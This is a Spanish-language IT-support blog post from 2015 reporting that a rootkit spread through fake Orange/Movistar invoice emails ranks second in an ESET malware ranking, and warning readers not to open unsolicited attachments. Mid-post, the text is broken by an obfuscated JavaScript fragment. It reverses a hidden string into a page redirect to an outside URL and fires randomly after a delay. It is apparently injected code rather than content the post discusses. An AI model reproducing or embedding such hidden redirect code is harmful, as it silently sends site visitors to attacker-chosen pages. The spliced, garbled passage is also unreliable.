RANKING DE LOS MALWARES ACTUALES MAS PROPAGADOS EN NUESTRO PAIS
Vemos en este articulo de ESET (NOD32) :
que el rootkit del que avisamos ampliamente, propagado por un falso email de Orange o Movistar, con el pretexto de aparentar el envio de una factura en PDF por sus servicios, esta en segundo lugar del ranking actual de virus mas propagados actualmente en nuestro pais, y a solo una decima del primero :
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tores/user-11130/malware_injec<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
el alias con el que lo conoce dicho antivirus es el de WIN32/INJECTOR CDOU
Mientras que nosotros lo seguimos considerando como SPY ZBOT AA, que recordamos que es un ROOTKIT de cuidado, al ocultar las claves de lanzamiento en el Registro de Sistema, dificultando asi la deteccion de nuevas variantes hasta que estas son conocidas y controladas por cadenas.
Sirva una vez mas este aviso para recordar que NO DEBEN EJECUTARSE FICHEROS RECIBIDOS EN MAILS NO SOLICITADOS, aunque aparenten ser de empresas conocidas y solventes…
Ofrecemos al principio el enlace de la informacion de ESET al respecto, que coincide con lo anunciado por nosotros sobre dicho malware actualmente de moda, que notificamos, detectamos y eliminamos como ROOTKIT SPY ZBOT AA
Saludos
ms 7-7-2015,
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.